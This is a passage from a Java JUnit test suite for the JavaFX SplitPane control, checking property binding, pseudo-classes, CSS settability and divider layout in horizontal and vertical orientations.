assertEquals(splitPane.getDividers().get(1).getPosition(), 0.5, 0.0);
}
/*********************************************************************
* Tests for property binding *
********************************************************************/
@Test public void checkHBarPolicyPropertyBind() {
ObjectProperty objPr = new SimpleObjectProperty<Orientation>(Orientation.VERTICAL);
splitPane.orientationProperty().bind(objPr);
assertSame("orientationProperty cannot be bound", splitPane.orientationProperty().getValue(), Orientation.VERTICAL);
objPr.setValue(Orientation.HORIZONTAL);
assertSame("orientationProperty cannot be bound", splitPane.orientationProperty().getValue(), Orientation.HORIZONTAL);
}
@Test public void checkDividerPositionPropertyBind() {
DoubleProperty objPr = new SimpleDoubleProperty(0.6);
divider1.positionProperty().bind(objPr);
assertEquals("positionProperty cannot be bound", divider1.positionProperty().getValue(), 0.6, 0.0);
objPr.setValue(0.9);
assertEquals("positionProperty cannot be bound", divider1.positionProperty().getValue(), 0.9, 0.0);
}
@Test public void checkOrientationPropertyBind() {
ObjectProperty objPr = new SimpleObjectProperty<Orientation>(Orientation.HORIZONTAL);
splitPane.orientationProperty().bind(objPr);
assertSame("orientationProperty cannot be bound", splitPane.orientationProperty().getValue(), Orientation.HORIZONTAL);
objPr.setValue(Orientation.VERTICAL);
assertSame("orientationProperty cannot be bound", splitPane.orientationProperty().getValue(), Orientation.VERTICAL);
}
@Test public void orientationPropertyHasBeanReference() {
assertSame(splitPane, splitPane.orientationProperty().getBean());
}
@Test public void orientationPropertyHasName() {
assertEquals("orientation", splitPane.orientationProperty().getName());
}
@Test public void positionPropertyHasBeanReference() {
assertSame(divider1, divider1.positionProperty().getBean());
}
@Test public void positionPropertyHasName() {
assertEquals("position", divider1.positionProperty().getName());
}
/*********************************************************************
* Check for Pseudo classes *
********************************************************************/
@Test public void settingVerticalOrientationSetsVerticalPseudoClass() {
splitPane.setOrientation(Orientation.VERTICAL);
assertPseudoClassExists(splitPane, "vertical");
assertPseudoClassDoesNotExist(splitPane, "horizontal");
}
@Test public void clearingVerticalOrientationClearsVerticalPseudoClass() {
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.setOrientation(Orientation.HORIZONTAL);
assertPseudoClassDoesNotExist(splitPane, "vertical");
assertPseudoClassExists(splitPane, "horizontal");
}
@Test public void settingHorizontalOrientationSetsHorizontalPseudoClass() {
splitPane.setOrientation(Orientation.HORIZONTAL);
assertPseudoClassExists(splitPane, "horizontal");
assertPseudoClassDoesNotExist(splitPane, "vertical");
}
@Test public void clearingHorizontalOrientationClearsHorizontalPseudoClass() {
splitPane.setOrientation(Orientation.HORIZONTAL);
splitPane.setOrientation(Orientation.VERTICAL);
assertPseudoClassDoesNotExist(splitPane, "horizontal");
assertPseudoClassExists(splitPane, "vertical");
}
/*********************************************************************
* CSS related Tests *
********************************************************************/
@Test public void whenOrientationIsBound_impl_cssSettable_ReturnsFalse() {
CssMetaData styleable = ((StyleableProperty)splitPane.orientationProperty()).getCssMetaData();
assertTrue(styleable.isSettable(splitPane));
ObjectProperty<Orientation> other = new SimpleObjectProperty<Orientation>(Orientation.VERTICAL);
splitPane.orientationProperty().bind(other);
assertFalse(styleable.isSettable(splitPane));
}
@Test public void whenOrientationIsSpecifiedViaCSSAndIsNotBound_impl_cssSettable_ReturnsTrue() {
CssMetaData styleable = ((StyleableProperty)splitPane.orientationProperty()).getCssMetaData();
assertTrue(styleable.isSettable(splitPane));
}
@Test public void canSpecifyOrientationViaCSS() {
((StyleableProperty)splitPane.orientationProperty()).applyStyle(null, Orientation.VERTICAL);
assertSame(Orientation.VERTICAL, splitPane.getOrientation());
}
/*********************************************************************
* Miscellaneous Tests *
********************************************************************/
@Test public void setOrientationAndSeeValueIsReflectedInModel() {
splitPane.setOrientation(Orientation.HORIZONTAL);
assertSame(splitPane.orientationProperty().getValue(), Orientation.HORIZONTAL);
}
@Test public void setOrientationAndSeeValue() {
splitPane.setOrientation(Orientation.VERTICAL);
assertSame(splitPane.getOrientation(), Orientation.VERTICAL);
}
@Test public void setPositionAndSeeValueIsReflectedInModel() {
divider1.setPosition(0.2);
assertEquals(divider1.positionProperty().getValue(), 0.2, 0.0);
}
@Test public void setPositionAndSeeValue() {
divider1.setPosition(0.3);
assertEquals(divider1.getPosition(), 0.3, 0.0);
}
@Test public void addingNnodesToSplitPaneCreatesNminus1Dividers() {
add3NodesToSplitPane();
assertNotNull(splitPane.getDividers());
assertEquals(splitPane.getDividers().size(), 2, 0.0);
}
@Test public void setMultipleDividerPositionsAndValidate() {
add3NodesToSplitPane();
splitPane.setDividerPosition(0, 0.4);
splitPane.setDividerPosition(1, 0.6);
assertNotNull(splitPane.getDividers());
assertEquals(splitPane.getDividers().size(), 2, 0.0);
assertEquals(splitPane.getDividers().get(0).getPosition(), 0.4, 0.0);
assertEquals(splitPane.getDividers().get(1).getPosition(), 0.6, 0.0);
}
@Test public void addingNonExistantDividerPositionToSplitPaneCachesItAndAppliesWhenNewNodeAreAdded() {
add2NodesToSplitPane();
splitPane.setDividerPosition(2, 0.4);//2 is a non existant divider position, but still position value 0.4 is cached
splitPane.getItems().add(new Button("Button Three"));
splitPane.getItems().add(new Button("Button Four"));
assertNotNull(splitPane.getDividers());
assertEquals(splitPane.getDividers().size(), 3, 0.0);
assertEquals(splitPane.getDividers().get(2).getPosition(), 0.4, 0.0);
}
@Test public void zeroDivider() {
StackPane spCenter = new StackPane();
splitPane.getItems().addAll(spCenter);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
assertEquals(0, splitPane.getDividers().size());
assertEquals(398, spCenter.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void oneDividerPanelsAreEquallySized() {
StackPane spLeft = new StackPane();
StackPane spRight = new StackPane();
splitPane.getItems().addAll(spLeft, spRight);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 398; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
assertEquals(196, p0, 1e-100);
assertEquals(196, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(196, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void twoDividersHaveTheSamePosition() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 398; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(196, p0, 1e-100);
assertEquals(202, p1, 1e-100);
assertEquals(196, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(0, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(190, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void twoDividersHaveTheDifferentPositions() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 398; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(77, p0, 1e-100);
assertEquals(315, p1, 1e-100);
assertEquals(77, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(232, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(77, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void threePanelsAllAreSetToMin() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMinWidth(28);
spCenter.setMinWidth(29);
spRight.setMinWidth(29);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(28, p0, 1e-100);
assertEquals(63, p1, 1e-100);
assertEquals(28, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(29, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(29, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void threePanelsAllAreSetToMax() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMaxWidth(28);
spCenter.setMaxWidth(29);
spRight.setMaxWidth(29);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(28, p0, 1e-100);
assertEquals(63, p1, 1e-100);
assertEquals(28, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(29, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(29, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void threePanelsSetToMinMaxMin() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMinWidth(28);
spCenter.setMaxWidth(29);
spRight.setMinWidth(29);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(28, p0, 1e-100);
assertEquals(63, p1, 1e-100);
assertEquals(28, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(29, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(29, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void setDividerLessThanMin() {
StackPane spLeft = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMinWidth(80);
splitPane.getItems().addAll(spLeft, spRight);
splitPane.setDividerPositions(0);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
assertEquals(80, p0, 1e-100);
assertEquals(80, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(12, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void setDividerGreaterThanMax() {
StackPane spLeft = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMaxWidth(80);
splitPane.getItems().addAll(spLeft, spRight);
splitPane.setDividerPositions(1.5);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
assertEquals(80, p0, 1e-100);
assertEquals(80, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(12, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void setTwoDividerGreaterThanMax() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
splitPane.getItems().addAll(spLeft, spCenter, spRight);
splitPane.setDividerPositions(1.5, 1.5);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(86, p0, 1e-100);
assertEquals(92, p1, 1e-100);
assertEquals(86, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(0, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(0, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void checkDividerPositions_RT18805() {
Button l = new Button("Left Button");
Button c = new Button("Center Button");
Button r = new Button("Left Button");
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.getChildren().add(l);
spCenter.getChildren().add(c);
spRight.getChildren().add(r);
spLeft.setMinWidth(100);
spLeft.setMaxWidth(150);
spRight.setMaxWidth(100);
spRight.setMaxWidth(150);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(600, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 598; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(150, p0, 1e-100);
assertEquals(442, p1, 1e-100);
assertEquals(150, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(286, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(150, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void growSplitPaneBy5px_RT18855() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMinWidth(77);
spRight.setMinWidth(77);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 398; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(77, p0, 1e-100);
assertEquals(315, p1, 1e-100);
assertEquals(77, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(232, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(77, spRight.getLayoutBounds().getWidth(), 1e-100);
root.impl_reapplyCSS();
root.resize(405, 400);
root.layout();
w = 403;
pos = splitPane.getDividerPositions();
p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(78, p0, 1e-100);
assertEquals(319, p1, 1e-100);
assertEquals(78, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(235, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(78, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void growSplitPaneBy5pxWithFixedDividers_RT18806() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMinWidth(77);
spRight.setMinWidth(77);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
SplitPane.setResizableWithParent(spLeft, false);
SplitPane.setResizableWithParent(spRight, false);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 398; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(77, p0, 1e-100);
assertEquals(315, p1, 1e-100);
assertEquals(77, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(232, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(77, spRight.getLayoutBounds().getWidth(), 1e-100);
root.impl_reapplyCSS();
root.resize(405, 400);
root.layout();
w = 403;
pos = splitPane.getDividerPositions();
p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(77, p0, 1e-100);
assertEquals(320, p1, 1e-100);
assertEquals(77, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(237, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(77, spRight.getLayoutBounds().getWidth(), 1e-100);
}
@Test public void resizeSplitPaneAllPanesAreSetToMax() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMaxWidth(28);
spCenter.setMaxWidth(29);
spRight.setMaxWidth(29);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double w = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(28, p0, 1e-100);
assertEquals(63, p1, 1e-100);
assertEquals(28, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(29, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(29, spRight.getLayoutBounds().getWidth(), 1e-100);
root.impl_reapplyCSS();
root.resize(405, 400);
root.layout();
w = 403;
pos = splitPane.getDividerPositions();
p0 = convertDividerPostionToAbsolutePostion(pos[0], w);
p1 = convertDividerPostionToAbsolutePostion(pos[1], w);
assertEquals(28, p0, 1e-100);
assertEquals(63, p1, 1e-100);
assertEquals(28, spLeft.getLayoutBounds().getWidth(), 1e-100);
assertEquals(29, spCenter.getLayoutBounds().getWidth(), 1e-100);
assertEquals(29, spRight.getLayoutBounds().getWidth(), 1e-100);
}
/*
* Vertical SplitPane
*/
@Test public void oneDividerPanelsAreEquallySized_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spRight = new StackPane();
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.getItems().addAll(spLeft, spRight);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 398; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
assertEquals(196, p0, 1e-100);
assertEquals(196, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(196, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void twoDividersHaveTheSamePosition_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 398; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(196, p0, 1e-100);
assertEquals(202, p1, 1e-100);
assertEquals(196, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(0, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(190, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void twoDividersHaveTheDifferentPositions_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 398; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(77, p0, 1e-100);
assertEquals(315, p1, 1e-100);
assertEquals(77, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(232, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(77, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void threePanelsAllAreSetToMin_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMinHeight(28);
spCenter.setMinHeight(29);
spRight.setMinHeight(29);
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(28, p0, 1e-100);
assertEquals(63, p1, 1e-100);
assertEquals(28, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(29, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(29, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void threePanelsAllAreSetToMax_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMaxHeight(28);
spCenter.setMaxHeight(29);
spRight.setMaxHeight(29);
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(28, p0, 1e-100);
assertEquals(63, p1, 1e-100);
assertEquals(28, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(29, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(29, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void threePanelsSetToMinMaxMin_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMinHeight(28);
spCenter.setMaxHeight(29);
spRight.setMinHeight(29);
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(28, p0, 1e-100);
assertEquals(63, p1, 1e-100);
assertEquals(28, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(29, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(29, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void setDividerLessThanMin_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMinHeight(80);
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.getItems().addAll(spLeft, spRight);
splitPane.setDividerPositions(0);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
assertEquals(80, p0, 1e-100);
assertEquals(80, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(12, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void setDividerGreaterThanMax_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMaxHeight(80);
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.getItems().addAll(spLeft, spRight);
splitPane.setDividerPositions(1.5);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 98; // The width minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
assertEquals(80, p0, 1e-100);
assertEquals(80, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(12, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void setTwoDividerGreaterThanMax_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
splitPane.setDividerPositions(1.5, 1.5);
root.setPrefSize(100, 100);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 98; // The height minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(86, p0, 1e-100);
assertEquals(92, p1, 1e-100);
assertEquals(86, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(0, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(0, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void checkDividerPositions_RT18805_VerticalSplitPane() {
Button l = new Button("Left Button");
Button c = new Button("Center Button");
Button r = new Button("Left Button");
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.getChildren().add(l);
spCenter.getChildren().add(c);
spRight.getChildren().add(r);
spLeft.setMinHeight(100);
spLeft.setMaxHeight(150);
spRight.setMaxHeight(100);
spRight.setMaxHeight(150);
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(400, 600);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 598; // The height minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(150, p0, 1e-100);
assertEquals(442, p1, 1e-100);
assertEquals(150, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(286, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(150, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void growSplitPaneBy5px_RT18855_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMinHeight(77);
spRight.setMinHeight(77);
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 398; // The height minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(77, p0, 1e-100);
assertEquals(315, p1, 1e-100);
assertEquals(77, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(232, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(77, spRight.getLayoutBounds().getHeight(), 1e-100);
root.impl_reapplyCSS();
root.resize(400, 405);
root.layout();
h = 403;
pos = splitPane.getDividerPositions();
p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
assertEquals(78, p0, 1e-100);
assertEquals(319, p1, 1e-100);
assertEquals(78, spLeft.getLayoutBounds().getHeight(), 1e-100);
assertEquals(235, spCenter.getLayoutBounds().getHeight(), 1e-100);
assertEquals(78, spRight.getLayoutBounds().getHeight(), 1e-100);
}
@Test public void growSplitPaneBy5pxWithFixedDividers_RT18806_VerticalSplitPane() {
StackPane spLeft = new StackPane();
StackPane spCenter = new StackPane();
StackPane spRight = new StackPane();
spLeft.setMinHeight(77);
spRight.setMinHeight(77);
splitPane.setOrientation(Orientation.VERTICAL);
splitPane.setDividerPosition(0, 0.20);
splitPane.setDividerPosition(1, 0.80);
splitPane.getItems().addAll(spLeft, spCenter, spRight);
SplitPane.setResizableWithParent(spLeft, false);
SplitPane.setResizableWithParent(spRight, false);
root.setPrefSize(400, 400);
root.getChildren().add(splitPane);
show();
root.impl_reapplyCSS();
root.autosize();
root.layout();
double h = 398; // The height minus the insets.
double pos[] = splitPane.getDividerPositions();
double p0 = convertDividerPostionToAbsolutePostion(pos[0], h);
double p1 = convertDividerPostionToAbsolutePostion(pos[1], h);
